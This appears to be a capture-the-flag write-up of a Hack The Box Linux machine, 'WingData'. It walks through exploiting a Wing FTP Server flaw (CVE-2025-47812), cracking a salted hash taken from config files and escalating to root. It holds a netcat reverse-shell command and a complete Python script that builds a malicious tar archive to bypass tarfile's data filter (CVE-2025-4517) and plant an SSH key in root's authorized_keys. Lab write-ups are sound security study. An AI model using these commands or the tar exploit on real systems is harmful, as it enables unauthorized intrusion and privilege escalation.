Skip to content
Kondred0x1
Back to writeups

WingData

WingData
Easy
Linux

Recon

Nmap port scan:

nmap -sC -sV -p- 10.129.244.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-15 05:10 CST

Nmap scan report for 10.129.244.106

Host is up (0.0072s latency).

Not shown: 65533 filtered tcp ports (no-response)

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)

| ssh-hostkey: 

|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)

|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)

80/tcp open  http    Apache httpd 2.4.66

|_http-title: Did not follow redirect to http://wingdata.htb/

|_http-server-header: Apache/2.4.66 (Debian)

Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

After navigating to the website and clicking "Client Portal", I was redirected to "ftp.wingdata.htb".
I added the subdomain to /etc/hosts, refreshed the page, and a login panel for FTP Server v7.4.3 appeared.
Version 7.4.3 is vulnerable to CVE-2025-47812.

FTP Server Login

Initial access

After downloading the exploit and running it with a test command, the service proved to be vulnerable:

python3 52347.py -u http://ftp.wingdata.htb/ -c "whoami"
[*] Testing target: http://ftp.wingdata.htb/

[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'whoami' and username: 'anonymous'

[+] UID extracted: 7dbcedfe16be13e2b3d7932ad23547d8f528764d624db129b32c21fbca0cb8d6

[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 7dbcedfe16be13e2b3d7932ad23547d8f528764d624db129b32c21fbca0cb8d6



--- Command Output ---

wingftp

----------------------

Then I caught a shell:

nc -lvnp 4444
python3 52347.py -u http://ftp.wingdata.htb/ -c "nc 10.10.14.2 4444 -e /bin/bash"

After stabilizing the shell, I moved on to privilege escalation / lateral movement.

Privilege escalation

Wacky

I reviewed files related to the wftpserver service and found several interesting ones:

  • /opt/wftpserver/Data/1/users/wacky.xml - contains the password hash of user wacky. If cracked, password reuse might allow SSH login.
<?xml version="1.0" ?>

<USER_ACCOUNTS Description="Wing FTP Server User Accounts">

    <USER>

        <UserName>wacky</UserName>

        <EnableAccount>1</EnableAccount>

        <EnablePassword>1</EnablePassword>

        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>

        <ProtocolType>63</ProtocolType>

        <....>

    </USER>

</USER_ACCOUNTS>
  • /opt/wftpserver/Data/1/settings.xml - contains information about the salt used for hashing passwords: "WingFTP"
<?xml version="1.0" ?>

<DOMAIN_OPTION Description="Wing FTP Server Domain settings">

    <....>

    <TLS_Session_Timeout>3600</TLS_Session_Timeout>

    <EnablePasswordSalting>1</EnablePasswordSalting>

    <SaltingString>WingFTP</SaltingString>

    <Enable_Log_Millisecond>0</Enable_Log_Millisecond>

    <....>

</DOMAIN_OPTION>

I saved the hash of user wacky into hash.txt in this format:

wacky:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca$WingFTP

Password cracking:

john --format=dynamic='sha256($p.$s)' --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 

The password for user wacky was successfully cracked:!#7Blushing^*Bride5

ROOT

First, I checked sudo permissions for the user:

sudo -l
Matching Defaults entries for wacky on wingdata:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty



User wacky may run the following commands on wingdata:

    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script restore_backup_clients.py performs the following:

  • Takes a .tar file from /opt/backup_clients/backups
  • Extracts its contents to /opt/backup_clients/restored_backups
  • Uses filter="data", which should be a safe extraction method

Vulnerability (CVE-2025-4517):
When Python’s os.path.realpath() attempts to resolve a path longer than PATH_MAX (4096 bytes on Linux), it silently fails instead of raising an error. The filter="data" security check uses realpath() to validate paths, so if we can force it to fail, we can bypass the protection mechanism.

import tarfile

import os

import io

with open("/home/kondred0x1/Desktop/WingData/rootkey.pub", "r") as f:

    pubkey = f.read().encode()

comp = 'd' * 247  # Long directory name

steps = "abcdefghijklmnop"  # 16 levels

path = ""

with tarfile.open("/home/kondred0x1/Desktop/WingData/backup_1001.tar", mode="w") as tar:



    # Create long path structure

    for i in steps:

        a = tarfile.TarInfo(os.path.join(path, comp))

        a.type = tarfile.DIRTYPE

        tar.addfile(a)

        b = tarfile.TarInfo(os.path.join(path, i))

        b.type = tarfile.SYMTYPE

        b.linkname = comp

        tar.addfile(b)

        path = os.path.join(path, comp)



    # Overflow symlink

    linkpath = os.path.join("/".join(steps), "l"*254)

    l = tarfile.TarInfo(linkpath)

    l.type = tarfile.SYMTYPE

    l.linkname = "../" * len(steps)

    tar.addfile(l)



    # Escape to /root/.ssh/authorized_keys

    e = tarfile.TarInfo("escape")

    e.type = tarfile.SYMTYPE

    e.linkname = linkpath + "/../../../../../root/.ssh/authorized_keys"

    tar.addfile(e)



    # Hardlink

    f = tarfile.TarInfo("flaglink")

    f.type = tarfile.LNKTYPE

    f.linkname = "escape"

    tar.addfile(f)



    # Overwrite with SSH key

    c = tarfile.TarInfo("flaglink")

    c.type = tarfile.REGTYPE

    c.size = len(pubkey)

    tar.addfile(c, fileobj=io.BytesIO(pubkey))



print("[+] PATH_MAX overflow exploit created")

Then I uploaded the generated file to /opt/backup_clients/backups and executed:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1337.tar -r restore_pwn

Logged in as root using the SSH key:

ssh -i rootkey root@10.129.244.106

Root access obtained - box pwned.

Hack The Box Achievement